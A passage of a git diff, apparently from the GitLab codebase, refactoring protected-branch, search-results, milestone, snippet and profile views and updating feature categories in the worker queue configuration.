+ = (s_("ProtectedBranch|Only %{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported.") % placeholders).html_safe
+ - else
+ = (s_("ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported.") % placeholders).html_safe
.form-group.row
= f.label :merge_access_levels_attributes, s_("ProtectedBranch|Allowed to merge:"), class: 'col-sm-12'
.col-sm-12
@@ -30,6 +37,6 @@
- force_push_docs_url = help_page_url('topics/git/git_rebase', anchor: 'force-push')
- force_push_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: force_push_docs_url }
= (s_("ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}.") % { tag_start: force_push_link_start, tag_end: '</a>' }).html_safe
- = render_if_exists 'protected_branches/ee/code_owner_approval_form', f: f
+ = render_if_exists 'protected_branches/ee/code_owner_approval_form', f: f, protected_branch_entity: protected_branch_entity
- c.footer do
= f.submit s_('ProtectedBranch|Protect'), disabled: true, data: { qa_selector: 'protect_button' }, pajamas_button: true
diff --git a/app/views/protected_branches/shared/_index.html.haml b/app/views/protected_branches/shared/_index.html.haml
index c204508d355..d0e21e38429 100644
--- a/app/views/protected_branches/shared/_index.html.haml
+++ b/app/views/protected_branches/shared/_index.html.haml
@@ -1,3 +1,4 @@
+- can_admin_entity = protected_branch_can_admin_entity?(protected_branch_entity)
- expanded = expanded_by_default?
%section.settings.no-animate#js-protected-branches-settings{ class: ('expanded' if expanded), data: { qa_selector: 'protected_branches_settings_content' } }
@@ -14,7 +15,7 @@
= s_("ProtectedBranch|By default, protected branches restrict who can modify the branch.")
= link_to s_("ProtectedBranch|Learn more."), help_page_path("user/project/protected_branches", anchor: "who-can-modify-a-protected-branch")
- - if can? current_user, :admin_project, @project
+ - if can_admin_entity
= content_for :create_protected_branch
= content_for :branches_list
diff --git a/app/views/protected_branches/shared/_protected_branch.html.haml b/app/views/protected_branches/shared/_protected_branch.html.haml
index 5dea85aaa41..b4fd7a24b41 100644
--- a/app/views/protected_branches/shared/_protected_branch.html.haml
+++ b/app/views/protected_branches/shared/_protected_branch.html.haml
@@ -1,23 +1,25 @@
-- can_admin_project = can?(current_user, :admin_project, @project)
+- can_admin_entity = protected_branch_can_admin_entity?(protected_branch_entity)
+- url = protected_branch_path_by_entity(protected_branch, protected_branch_entity)
-%tr.js-protected-branch-edit-form{ data: { url: namespace_project_protected_branch_path(@project.namespace, @project, protected_branch), testid: 'protected-branch' } }
+%tr.js-protected-branch-edit-form{ data: { url: url, testid: 'protected-branch' } }
%td
%span.ref-name= protected_branch.name
- - if @project.root_ref?(protected_branch.name)
+ - if protected_branch_entity.is_a?(Project) && protected_branch_entity.root_ref?(protected_branch.name)
= gl_badge_tag s_('ProtectedBranch|default'), variant: :info
- %div
- - if protected_branch.wildcard?
- - matching_branches = protected_branch.matching(repository.branch_names)
- = link_to pluralize(matching_branches.count, "matching branch"), namespace_project_protected_branch_path(@project.namespace, @project, protected_branch)
- - elsif !protected_branch.commit
- %span.text-muted Branch was deleted.
+ - if protected_branch_entity.is_a?(Project)
+ %div
+ - if protected_branch.wildcard?
+ - matching_branches = protected_branch.matching(repository.branch_names)
+ = link_to pluralize(matching_branches.count, "matching branch"), namespace_project_protected_branch_path(@project.namespace, @project, protected_branch)
+ - elsif !protected_branch.commit
+ %span.text-muted= s_('ProtectedBranch|Branch does not exist.')
= yield
- = render_if_exists 'protected_branches/ee/code_owner_approval_table', protected_branch: protected_branch
+ = render_if_exists 'protected_branches/ee/code_owner_approval_table', protected_branch: protected_branch, protected_branch_entity: protected_branch_entity
- - if can_admin_project
+ - if can_admin_entity
%td
- = link_to s_('ProtectedBranch|Unprotect'), [@project, protected_branch, { update_section: 'js-protected-branches-settings' }], disabled: local_assigns[:disabled], aria: { label: s_('ProtectedBranch|Unprotect branch') }, data: { confirm: s_('ProtectedBranch|Branch will be writable for developers. Are you sure?'), confirm_btn_variant: 'danger' }, method: :delete, class: "btn gl-button btn-danger btn-sm"
+ = link_to s_('ProtectedBranch|Unprotect'), [protected_branch_entity, protected_branch, { update_section: 'js-protected-branches-settings' }], disabled: local_assigns[:disabled], aria: { label: s_('ProtectedBranch|Unprotect branch') }, data: { confirm: s_('ProtectedBranch|Branch will be writable for developers. Are you sure?'), confirm_btn_variant: 'danger' }, method: :delete, class: "btn gl-button btn-danger btn-sm"
diff --git a/app/views/pwa/manifest.json.erb b/app/views/pwa/manifest.json.erb
index c5403caeafa..9abb759389d 100644
--- a/app/views/pwa/manifest.json.erb
+++ b/app/views/pwa/manifest.json.erb
@@ -1,6 +1,6 @@
{
"name": "<%= Appearance.current&.title.presence || _('GitLab') %>",
- "short_name": "<%= Appearance.current&.short_title.presence || _('GitLab') %>",
+ "short_name": "<%= appearance_short_name %>",
"description": "<%= Appearance.current&.description.presence || _("The complete DevOps platform. One application with endless possibilities. Organizations rely on GitLab’s source code management, CI/CD, security, and more to deliver software rapidly.") %>",
"start_url": "<%= explore_projects_path %>",
"scope": "<%= root_path %>",
diff --git a/app/views/search/_category.html.haml b/app/views/search/_category.html.haml
index 3e483fe8cd2..74a5d5fb425 100644
--- a/app/views/search/_category.html.haml
+++ b/app/views/search/_category.html.haml
@@ -23,7 +23,7 @@
= search_filter_link 'milestones', _("Milestones")
= users
- - elsif @search_service.show_snippets?
+ - elsif @search_service_presenter.show_snippets?
= search_filter_link 'snippet_titles', _("Titles and Descriptions"), search: { snippets: true, group_id: nil, project_id: nil }
- else
= search_filter_link 'projects', _("Projects"), data: { qa_selector: 'projects_tab' }
diff --git a/app/views/search/_results.html.haml b/app/views/search/_results.html.haml
index 027ae6bf77c..5c952042663 100644
--- a/app/views/search/_results.html.haml
+++ b/app/views/search/_results.html.haml
@@ -3,16 +3,16 @@
= render_if_exists 'shared/promotions/promote_advanced_search'
- if Feature.enabled?(:search_page_vertical_nav, current_user)
.results.gl-md-display-flex.gl-mt-0
- #js-search-sidebar{ class: search_bar_classes, data: { navigation: search_navigation_json } }
+ #js-search-sidebar{ class: search_bar_classes, data: { navigation_json: search_navigation_json } }
.gl-w-full.gl-flex-grow-1.gl-overflow-x-hidden
- = render partial: 'search/results_status', locals: { search_service: @search_service } unless @search_objects.to_a.empty?
+ = render partial: 'search/results_status' unless @search_objects.to_a.empty?
= render partial: 'search/results_list'
- else
- = render partial: 'search/results_status', locals: { search_service: @search_service } unless @search_objects.to_a.empty?
+ = render partial: 'search/results_status' unless @search_objects.to_a.empty?
.results.gl-md-display-flex.gl-mt-3
- if %w[issues merge_requests].include?(@scope)
- #js-search-sidebar{ class: search_bar_classes, data: { navigation: search_navigation_json } }
+ #js-search-sidebar{ class: search_bar_classes, data: { navigation_json: search_navigation_json } }
.gl-w-full.gl-flex-grow-1.gl-overflow-x-hidden
= render partial: 'search/results_list'
diff --git a/app/views/search/_results_list.html.haml b/app/views/search/_results_list.html.haml
index cf910402ad4..195f0f3ad8a 100644
--- a/app/views/search/_results_list.html.haml
+++ b/app/views/search/_results_list.html.haml
@@ -7,7 +7,7 @@
%ul.content-list.commit-list
= render partial: "search/results/commit", collection: @search_objects
- else
- .search-results
+ .search-results.js-search-results
- if @scope == 'projects'
.term
= render 'shared/projects/list', projects: @search_objects, pipeline_status: false
diff --git a/app/views/search/_results_status.html.haml b/app/views/search/_results_status.html.haml
index adea6b598f7..3cd100db8b7 100644
--- a/app/views/search/_results_status.html.haml
+++ b/app/views/search/_results_status.html.haml
@@ -1,8 +1,6 @@
-- search_service = local_assigns.fetch(:search_service)
-
-- return unless search_service.show_results_status?
+- return unless @search_service_presenter.show_results_status?
- if Feature.enabled?(:search_page_vertical_nav, current_user)
- = render partial: 'search/results_status_vert_nav', locals: { search_service: search_service }
+ = render partial: 'search/results_status_vert_nav'
- else
- = render partial: 'search/results_status_horiz_nav', locals: { search_service: search_service }
+ = render partial: 'search/results_status_horiz_nav'
diff --git a/app/views/search/_results_status_horiz_nav.html.haml b/app/views/search/_results_status_horiz_nav.html.haml
index fe6ee0f12ec..c0778b70c04 100644
--- a/app/views/search/_results_status_horiz_nav.html.haml
+++ b/app/views/search/_results_status_horiz_nav.html.haml
@@ -1,22 +1,22 @@
.search-results-status
.row-content-block.gl-display-flex
.gl-md-display-flex.gl-text-left.gl-align-items-center.gl-flex-grow-1
- - unless search_service.without_count?
- = search_entries_info(search_service.search_objects, search_service.scope, params[:search])
- - unless search_service.show_snippets?
- - if search_service.project
- - link_to_project = link_to(search_service.project.full_name, search_service.project, class: 'ml-md-1')
- - if search_service.scope == 'blobs'
+ - unless @search_service_presenter.without_count?
+ = search_entries_info(@search_objects, @scope, @search_term)
+ - unless @search_service_presenter.show_snippets?
+ - if @project
+ - link_to_project = link_to(@project.full_name, @project, class: 'ml-md-1')
+ - if @scope == 'blobs'
= _("in")
.mx-md-1
- #js-blob-ref-switcher{ data: { "project-id" => search_service.project.id, "ref" => repository_ref(search_service.project), "field-name": "repository_ref" } }
+ #js-blob-ref-switcher{ data: { "project-id" => @project.id, "ref" => repository_ref(@project), "field-name": "repository_ref" } }
= s_('SearchCodeResults|of %{link_to_project}').html_safe % { link_to_project: link_to_project }
- else
= _("in project %{link_to_project}").html_safe % { link_to_project: link_to_project }
- - elsif search_service.group
- - link_to_group = link_to(search_service.group.name, search_service.group, class: 'ml-md-1')
+ - elsif @group
+ - link_to_group = link_to(@group.name, @group, class: 'ml-md-1')
= _("in group %{link_to_group}").html_safe % { link_to_group: link_to_group }
- - if search_service.show_sort_dropdown?
+ - if @search_service_presenter.show_sort_dropdown?
.gl-md-display-flex.gl-flex-direction-column
#js-search-sort{ data: { "search-sort-options" => search_sort_options.to_json } }
diff --git a/app/views/search/_results_status_vert_nav.html.haml b/app/views/search/_results_status_vert_nav.html.haml
index 03916911f43..29cc0a20123 100644
--- a/app/views/search/_results_status_vert_nav.html.haml
+++ b/app/views/search/_results_status_vert_nav.html.haml
@@ -2,22 +2,22 @@
.gl-display-flex.gl-flex-direction-column
.gl-p-5.gl-display-flex
.gl-md-display-flex.gl-text-left.gl-align-items-center.gl-flex-grow-1
- - unless search_service.without_count?
- = search_entries_info(search_service.search_objects, search_service.scope, params[:search])
- - unless search_service.show_snippets?
- - if search_service.project
- - link_to_project = link_to(search_service.project.full_name, search_service.project, class: 'ml-md-1')
- - if search_service.scope == 'blobs'
+ - unless @search_service_presenter.without_count?
+ = search_entries_info(@search_objects, @scope, @search_term)
+ - unless @search_service_presenter.show_snippets?
+ - if @project
+ - link_to_project = link_to(@project.full_name, @project, class: 'ml-md-1')
+ - if @scope == 'blobs'
= _("in")
.mx-md-1
- #js-blob-ref-switcher{ data: { "project-id" => search_service.project.id, "ref" => repository_ref(search_service.project), "field-name": "repository_ref" } }
+ #js-blob-ref-switcher{ data: { "project-id" => @project.id, "ref" => repository_ref(@project), "field-name": "repository_ref" } }
= s_('SearchCodeResults|of %{link_to_project}').html_safe % { link_to_project: link_to_project }
- else
= _("in project %{link_to_project}").html_safe % { link_to_project: link_to_project }
- - elsif search_service.group
- - link_to_group = link_to(search_service.group.name, search_service.group, class: 'ml-md-1')
+ - elsif @group
+ - link_to_group = link_to(@group.name, @group, class: 'ml-md-1')
= _("in group %{link_to_group}").html_safe % { link_to_group: link_to_group }
- - if search_service.show_sort_dropdown?
+ - if @search_service_presenter.show_sort_dropdown?
.gl-md-display-flex.gl-flex-direction-column
#js-search-sort{ data: { "search-sort-options" => search_sort_options.to_json } }
%hr.gl-mb-5.gl-mt-0.gl-border-gray-100.gl-w-full
diff --git a/app/views/search/show.html.haml b/app/views/search/show.html.haml
index e1efa271d57..2eb6af94008 100644
--- a/app/views/search/show.html.haml
+++ b/app/views/search/show.html.haml
@@ -9,7 +9,7 @@
- project_attributes = @project&.attributes&.slice('id', 'namespace_id', 'name')&.merge(name_with_namespace: @project&.name_with_namespace)
- if @search_results
- - if @search_service.without_count?
+ - if @search_service_presenter.without_count?
- page_description(_("%{scope} results for term '%{term}'") % { scope: @scope, term: @search_term })
- else
- page_description(_("%{count} %{scope} for term '%{term}'") % { count: @search_results.formatted_count(@scope), scope: @scope, term: @search_term })
@@ -20,7 +20,7 @@
= render_if_exists 'search/form_elasticsearch', attrs: { class: 'mb-2 mb-sm-0 align-self-center' }
.gl-mt-3
- #js-search-topbar{ data: { "group-initial-json": group_attributes.to_json, "project-initial-json": project_attributes.to_json, "elasticsearch-enabled": @elasticsearch_in_use.to_s, "default-branch-name": @project&.default_branch } }
+ #js-search-topbar{ data: { "group-initial-json": group_attributes.to_json, "project-initial-json": project_attributes.to_json, "elasticsearch-enabled": @search_service_presenter.advanced_search_enabled?.to_s, "default-branch-name": @project&.default_branch } }
- if @search_term
- if Feature.disabled?(:search_page_vertical_nav, current_user)
= render 'search/category'
diff --git a/app/views/shared/_broadcast_message.html.haml b/app/views/shared/_broadcast_message.html.haml
index a202add339f..4d286713cef 100644
--- a/app/views/shared/_broadcast_message.html.haml
+++ b/app/views/shared/_broadcast_message.html.haml
@@ -3,7 +3,7 @@
- preview = local_assigns.fetch(:preview, false)
- unless message.notification?
- .gl-broadcast-message.broadcast-banner-message{ role: "alert", class: "js-broadcast-notification-#{message.id} #{message.theme}" }
+ .gl-broadcast-message.broadcast-banner-message.banner{ role: "alert", class: "js-broadcast-notification-#{message.id} #{message.theme}" }
.gl-broadcast-message-content
.gl-broadcast-message-icon
= sprite_icon(icon_name)
diff --git a/app/views/shared/_milestone_expired.html.haml b/app/views/shared/_milestone_expired.html.haml
index 8c84f96932c..c7e780d8b4b 100644
--- a/app/views/shared/_milestone_expired.html.haml
+++ b/app/views/shared/_milestone_expired.html.haml
@@ -1,6 +1 @@
-- if milestone.expired? && !milestone.closed?
- = gl_badge_tag _('Expired'), { variant: :warning }, { class: "gl-mb-2" }
-- if milestone.upcoming?
- = gl_badge_tag _('Upcoming'), { variant: :info }, { class: "gl-mb-2" }
-- if milestone.closed?
- = gl_badge_tag _('Closed'), { variant: :danger }, { class: "gl-mb-2" }
+= gl_badge_tag milestone_status_string(milestone), { variant: milestone_badge_variant(milestone) }, { class: 'gl-mb-2' }
diff --git a/app/views/shared/_milestones_sort_dropdown.html.haml b/app/views/shared/_milestones_sort_dropdown.html.haml
index b68022bfeda..5795fb29b07 100644
--- a/app/views/shared/_milestones_sort_dropdown.html.haml
+++ b/app/views/shared/_milestones_sort_dropdown.html.haml
@@ -1,4 +1,4 @@
- milestones_sort_options = milestones_sort_options_hash.map { |value, text| { value: value, text: text, href: page_filter_path(sort: value) } }
-%div{ data: {testid: 'milestone_sort_by_dropdown'} }
+%div
= gl_redirect_listbox_tag milestones_sort_options, @sort
diff --git a/app/views/shared/_ref_dropdown.html.haml b/app/views/shared/_ref_dropdown.html.haml
deleted file mode 100644
index ee2b2a17e21..00000000000
--- a/app/views/shared/_ref_dropdown.html.haml
+++ /dev/null
@@ -1,7 +0,0 @@
-- dropdown_class = local_assigns.fetch(:dropdown_class, '')
-
-.dropdown-menu.dropdown-menu-selectable.git-revision-dropdown{ class: dropdown_class }
- = dropdown_title _('Select Git revision')
- = dropdown_filter _('Filter by Git revision')
- = dropdown_content
- = dropdown_loading
diff --git a/app/views/shared/admin/_admin_note.html.haml b/app/views/shared/admin/_admin_note.html.haml
index 9dcf181a118..2bf6baaf608 100644
--- a/app/views/shared/admin/_admin_note.html.haml
+++ b/app/views/shared/admin/_admin_note.html.haml
@@ -1,4 +1,4 @@
-- if @group.admin_note.present?
+- if @group.admin_note&.note?
- text = @group.admin_note.note
= render Pajamas::CardComponent.new(card_options: { class: 'gl-border-blue-500 gl-mb-5' }, header_options: { class: 'gl-bg-blue-500 gl-text-white' }) do |c|
- c.header do
diff --git a/app/views/shared/doorkeeper/applications/_delete_form.html.haml b/app/views/shared/doorkeeper/applications/_delete_form.html.haml
index 7cce0652f6f..b30ec2e7b3a 100644
--- a/app/views/shared/doorkeeper/applications/_delete_form.html.haml
+++ b/app/views/shared/doorkeeper/applications/_delete_form.html.haml
@@ -2,9 +2,9 @@
= form_tag path do
%input{ :name => "_method", :type => "hidden", :value => "delete" }
- if defined? small
- = button_tag type: "submit", class: "gl-button btn btn-danger btn-icon", data: { confirm: _("Are you sure?"), confirm_btn_variant: "danger" } do
+ = render Pajamas::ButtonComponent.new(type: :submit, variant: :confirm, icon: 'remove', button_options: { data: { confirm: _("Are you sure?"), confirm_btn_variant: "danger" } }) do
%span.sr-only
= _('Destroy')
- = sprite_icon('remove')
- else
- = submit_tag _('Destroy'), data: { confirm: _("Are you sure?"), confirm_btn_variant: "danger" }, aria: { label: _('Destroy') }, class: submit_btn_css
+ = render Pajamas::ButtonComponent.new(type: :submit, variant: :confirm, button_options: { aria: { label: _('Destroy') }, class: submit_btn_css, data: { confirm: _("Are you sure?"), confirm_btn_variant: "danger" } }) do
+ = _('Destroy')
diff --git a/app/views/shared/issue_type/_details_content.html.haml b/app/views/shared/issue_type/_details_content.html.haml
index 42f6f7b71a3..e1a9b30ef67 100644
--- a/app/views/shared/issue_type/_details_content.html.haml
+++ b/app/views/shared/issue_type/_details_content.html.haml
@@ -3,7 +3,11 @@
.issue-details.issuable-details.js-issue-details
.detail-page-description.content-block.js-detail-page-description.gl-pb-0.gl-border-none
- #js-issuable-app{ data: { initial: issuable_initial_data(issuable).to_json, issuable_id: issuable.id, full_path: @project.full_path } }
+ #js-issuable-app{ data: { initial: issuable_initial_data(issuable).to_json,
+ issuable_id: issuable.id,
+ full_path: @project.full_path,
+ register_path: new_user_registration_path(redirect_to_referer: 'yes'),
+ sign_in_path: new_session_path(:user, redirect_to_referer: 'yes') } }
.title-container
%h1.title.page-title.gl-font-size-h-display= markdown_field(issuable, :title)
- if issuable.description.present?
diff --git a/app/views/shared/milestones/_description.html.haml b/app/views/shared/milestones/_description.html.haml
index 747e22f47ac..fc25c7e8f89 100644
--- a/app/views/shared/milestones/_description.html.haml
+++ b/app/views/shared/milestones/_description.html.haml
@@ -1,6 +1,11 @@
.detail-page-description.milestone-detail
%h2.gl-m-0{ data: { qa_selector: "milestone_title_content" } }
= markdown_field(milestone, :title)
+ .gl-font-sm.gl-text-secondary.gl-font-base.gl-font-weight-normal.gl-line-height-normal{ data: { qa_selector: 'milestone_id_content' }, itemprop: 'identifier' }
+ - if can?(current_user, :read_milestone, @milestone)
+ %span.gl-display-inline-block.gl-vertical-align-middle
+ = s_('MilestonePage|Milestone ID: %{milestone_id}') % { milestone_id: @milestone.id }
+ = clipboard_button(title: s_('MilestonePage|Copy milestone ID'), text: @milestone.id)
- if milestone.try(:description).present?
%div{ data: { qa_selector: "milestone_description_content" } }
diff --git a/app/views/shared/milestones/_header.html.haml b/app/views/shared/milestones/_header.html.haml
index 334785685d5..900c71675d9 100644
--- a/app/views/shared/milestones/_header.html.haml
+++ b/app/views/shared/milestones/_header.html.haml
@@ -1,6 +1,5 @@
.detail-page-header.milestone-page-header
- .status-box{ class: status_box_class(milestone) }
- = milestone_status_string(milestone)
+ = gl_badge_tag milestone_status_string(milestone), { variant: milestone_badge_variant(milestone) }, { class: 'gl-mr-3' }
.header-text-content
%span.identifier
diff --git a/app/views/shared/nav/_your_work_scope_header.html.haml b/app/views/shared/nav/_your_work_scope_header.html.haml
new file mode 100644
index 00000000000..86172fb14ed
--- /dev/null
+++ b/app/views/shared/nav/_your_work_scope_header.html.haml
@@ -0,0 +1,6 @@
+%li.context-header
+ = link_to root_url, title: _('Your work'), class: 'has-tooltip', data: { container: 'body', placement: 'right' } do
+ %span.avatar-container.icon-avatar.rect-avatar.s32
+ = sprite_icon('work', size: 18)
+ %span.sidebar-context-title
+ = _('Your work')
diff --git a/app/views/shared/projects/_list.html.haml b/app/views/shared/projects/_list.html.haml
index 43cd2ee4c5b..813d8c5ed2b 100644
--- a/app/views/shared/projects/_list.html.haml
+++ b/app/views/shared/projects/_list.html.haml
@@ -19,7 +19,7 @@
- own_projects_illustration_path = 'illustrations/profile-page/personal-project.svg'
- own_projects_current_user_empty_message_header = s_('UserProfile|You haven\'t created any personal projects.')
- own_projects_current_user_empty_message_description = s_('UserProfile|Your projects can be available publicly, internally, or privately, at your choice.')
-- own_projects_visitor_empty_message = s_('UserProfile|This user doesn\'t have any personal projects')
+- own_projects_visitor_empty_message = s_('UserProfile|There are no projects available to be displayed here.')
- explore_page_empty_message = s_('UserProfile|Explore public groups to find projects to contribute to.')
- new_project_button_label = _('New project')
- new_project_button_link = new_project_path
diff --git a/app/views/shared/runners/_runner_type_alert.html.haml b/app/views/shared/runners/_runner_type_alert.html.haml
index 9736780c436..a1599b3ec49 100644
--- a/app/views/shared/runners/_runner_type_alert.html.haml
+++ b/app/views/shared/runners/_runner_type_alert.html.haml
@@ -12,5 +12,5 @@
title: s_('Runners|This runner is associated with specific projects.'),
dismissible: false) do |c|
= c.body do
- = s_('Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner.')
+ = s_('Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner.')
= link_to _('Learn more.'), help_page_path('ci/runners/runners_scope', anchor: 'specific-runners'), target: '_blank', rel: 'noopener noreferrer'
diff --git a/app/views/snippets/edit.html.haml b/app/views/snippets/edit.html.haml
index 5fa4a6775f9..2b2035e362b 100644
--- a/app/views/snippets/edit.html.haml
+++ b/app/views/snippets/edit.html.haml
@@ -1,5 +1,5 @@
+- breadcrumb_title _("Edit Snippet")
- page_title _("Edit"), "#{@snippet.title} (#{@snippet.to_reference})", _("Snippets")
-- @content_class = "limit-container-width" unless fluid_layout
- content_for :prefetch_asset_tags do
- webpack_preload_asset_tag('monaco')
diff --git a/app/views/snippets/new.html.haml b/app/views/snippets/new.html.haml
index 418f96a1024..da2245432ce 100644
--- a/app/views/snippets/new.html.haml
+++ b/app/views/snippets/new.html.haml
@@ -1,7 +1,4 @@
-- @hide_top_links = true
-- @hide_breadcrumbs = true
- page_title _("New Snippet")
-- @content_class = "limit-container-width" unless fluid_layout
.page-title-holder.d-flex.align-items-center
%h1.page-title.gl-font-size-h-display= _('New Snippet')
diff --git a/app/views/snippets/show.html.haml b/app/views/snippets/show.html.haml
index bb43c3c6274..eb9465a409f 100644
--- a/app/views/snippets/show.html.haml
+++ b/app/views/snippets/show.html.haml
@@ -5,7 +5,6 @@
- else
- add_page_startup_graphql_call('snippet/user_permissions')
- @hide_top_links = true
-- @content_class = "limit-container-width limited-inner-width-container" unless fluid_layout
- add_to_breadcrumbs _("Snippets"), dashboard_snippets_path
- breadcrumb_title @snippet.to_reference
- page_title "#{@snippet.title} (#{@snippet.to_reference})", _("Snippets")
diff --git a/app/views/users/calendar_activities.html.haml b/app/views/users/calendar_activities.html.haml
index 8da1aa09215..3571031fbfa 100644
--- a/app/views/users/calendar_activities.html.haml
+++ b/app/views/users/calendar_activities.html.haml
@@ -20,7 +20,7 @@
- if event.note?
= link_to event.note_target.to_reference, event_note_target_url(event), class: 'has-tooltip', title: event.target_title
- elsif event.target
- = link_to event.target.to_reference, [event.project, event.target], class: 'has-tooltip', title: event.target_title
+ = link_to event.target.to_reference, Gitlab::UrlBuilder.build(event.target, only_path: true), class: 'has-tooltip', title: event.target_title
= s_('UserProfile|at')
%strong
diff --git a/app/views/users/show.html.haml b/app/views/users/show.html.haml
index 03ecf8cac22..af29de6b0c4 100644
--- a/app/views/users/show.html.haml
+++ b/app/views/users/show.html.haml
@@ -18,14 +18,7 @@
icon: 'pencil',
button_options: { class: 'gl-flex-grow-1 gl-mx-1 has-tooltip', title: s_('UserProfile|Edit profile'), 'aria-label': 'Edit profile', data: { toggle: 'tooltip', placement: 'bottom', container: 'body' }})
- elsif current_user
- - if @user.abuse_report
- = render Pajamas::ButtonComponent.new(variant: :danger,
- icon: 'error',
- button_options: { class: 'gl-flex-grow-1 gl-mx-1 has-tooltip', title: s_('UserProfile|Already reported for abuse'), data: { toggle: 'tooltip', placement: 'bottom', container: 'body' }})
- - else
- = render Pajamas::ButtonComponent.new(href: new_abuse_report_path(user_id: @user.id, ref_url: request.referer),
- icon: 'error',
- button_options: { class: 'gl-flex-grow-1 gl-mx-1 has-tooltip', title: _('Report abuse to administrator'), data: { toggle: 'tooltip', placement: 'bottom', container: 'body' }})
+ #js-report-abuse{ data: { report_abuse_path: add_category_abuse_reports_path, reported_user_id: @user.id, reported_from_url: user_url(@user) } }
- verified_gpg_keys = @user.gpg_keys.select(&:verified?)
- if verified_gpg_keys.any?
= render Pajamas::ButtonComponent.new(href: user_gpg_keys_path,
diff --git a/app/workers/all_queues.yml b/app/workers/all_queues.yml
index 652a0021b0f..693afdea43a 100644
--- a/app/workers/all_queues.yml
+++ b/app/workers/all_queues.yml
@@ -698,7 +698,7 @@
:tags: []
- :name: cronjob:remove_unreferenced_lfs_objects
:worker_name: RemoveUnreferencedLfsObjectsWorker
- :feature_category: :git_lfs
+ :feature_category: :source_code_management
:has_external_dependencies: false
:urgency: :low
:resource_boundary: :unknown
@@ -725,7 +725,7 @@
:tags: []
- :name: cronjob:schedule_merge_request_cleanup_refs
:worker_name: ScheduleMergeRequestCleanupRefsWorker
- :feature_category: :code_review
+ :feature_category: :code_review_workflow
:has_external_dependencies: false
:urgency: :low
:resource_boundary: :unknown
@@ -734,7 +734,7 @@
:tags: []
- :name: cronjob:schedule_migrate_external_diffs
:worker_name: ScheduleMigrateExternalDiffsWorker
- :feature_category: :code_review
+ :feature_category: :code_review_workflow
:has_external_dependencies: false
:urgency: :low
:resource_boundary: :unknown
@@ -779,7 +779,7 @@
:tags: []
- :name: cronjob:stuck_merge_jobs
:worker_name: StuckMergeJobsWorker
- :feature_category: :code_review
+ :feature_category: :code_review_workflow
:has_external_dependencies: false
:urgency: :low
:resource_boundary: :unknown
@@ -951,11 +951,11 @@
- :name: gcp_cluster:cluster_provision
:worker_name: ClusterProvisionWorker
:feature_category: :kubernetes_management
- :has_external_dependencies: true
+ :has_external_dependencies: false
:urgency: :low
:resource_boundary: :unknown
:weight: 1
- :idempotent: false
+ :idempotent: true
:tags: []
- :name: gcp_cluster:cluster_update_app
:worker_name: ClusterUpdateAppWorker
@@ -1059,11 +1059,11 @@
- :name: gcp_cluster:wait_for_cluster_creation
:worker_name: WaitForClusterCreationWorker
:feature_category: :kubernetes_management
- :has_external_dependencies: true
+ :has_external_dependencies: false
:urgency: :low
:resource_boundary: :unknown
:weight: 1
- :idempotent: false
+ :idempotent: true
:tags: []
- :name: github_gists_importer:github_gists_import_finish_import
:worker_name: Gitlab::GithubGistsImport::FinishImportWorker
@@ -2282,7 +2282,7 @@
:tags: []
- :name: chat_notification
:worker_name: ChatNotificationWorker
- :feature_category: :chatops
+ :feature_category: :integrations
:has_external_dependencies: true
:urgency: :low
:resource_boundary: :unknown
@@ -2334,6 +2334,15 @@
:weight: 1
:idempotent: true
:tags: []
+- :name: counters_cleanup_refresh
+ :worker_name: Counters::CleanupRefreshWorker
+ :feature_category: :not_owned
+ :has_external_dependencies: false
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
- :name: create_commit_signature
:worker_name: CreateCommitSignatureWorker
:feature_category: :source_code_management
@@ -2345,7 +2354,7 @@
:tags: []
- :name: create_note_diff_file
:worker_name: CreateNoteDiffFileWorker
- :feature_category: :code_review
+ :feature_category: :code_review_workflow
:has_external_dependencies: false
:urgency: :low
:resource_boundary: :unknown
@@ -2363,7 +2372,7 @@
:tags: []
- :name: delete_diff_files
:worker_name: DeleteDiffFilesWorker
- :feature_category: :code_review
+ :feature_category: :code_review_workflow
:has_external_dependencies: false
:urgency: :low
:resource_boundary: :unknown
@@ -2750,7 +2759,7 @@
:tags: []
- :name: merge_request_cleanup_refs
:worker_name: MergeRequestCleanupRefsWorker
- :feature_category: :code_review
+ :feature_category: :code_review_workflow
:has_external_dependencies: false
:urgency: :low
:resource_boundary: :unknown
@@ -2759,7 +2768,7 @@
:tags: []
- :name: merge_request_mergeability_check
:worker_name: MergeRequestMergeabilityCheckWorker
- :feature_category: :code_review
+ :feature_category: :code_review_workflow
:has_external_dependencies: false
:urgency: :low
:resource_boundary: :unknown
@@ -2768,7 +2777,7 @@
:tags: []
- :name: merge_requests_close_issue
:worker_name: MergeRequests::CloseIssueWorker
- :feature_category: :code_review
+ :feature_category: :code_review_workflow
:has_external_dependencies: true
:urgency: :low
:resource_boundary: :unknown
@@ -2777,7 +2786,7 @@
:tags: []
- :name: merge_requests_create_approval_event
:worker_name: MergeRequests::CreateApprovalEventWorker
- :feature_category: :code_review
+ :feature_category: :code_review_workflow
:has_external_dependencies: false
:urgency: :low
:resource_boundary: :unknown
@@ -2786,7 +2795,7 @@
:tags: []
- :name: merge_requests_create_approval_note
:worker_name: MergeRequests::CreateApprovalNoteWorker
- :feature_category: :code_review
+ :feature_category: :code_review_workflow
:has_external_dependencies: false
:urgency: :low
:resource_boundary: :unknown
@@ -2804,7 +2813,7 @@
:tags: []
- :name: merge_requests_execute_approval_hooks
:worker_name: MergeRequests::ExecuteApprovalHooksWorker
- :feature_category: :code_review
+ :feature_category: :code_review_workflow
:has_external_dependencies: true
:urgency: :low
:resource_boundary: :unknown
@@ -2813,7 +2822,7 @@
:tags: []
- :name: merge_requests_handle_assignees_change
:worker_name: MergeRequests::HandleAssigneesChangeWorker
- :feature_category: :code_review
+ :feature_category: :code_review_workflow
:has_external_dependencies: false
:urgency: :high
:resource_boundary: :unknown
@@ -2822,7 +2831,7 @@
:tags: []
- :name: merge_requests_resolve_todos
:worker_name: MergeRequests::ResolveTodosWorker
- :feature_category: :code_review
+ :feature_category: :code_review_workflow
:has_external_dependencies: false
:urgency: :high
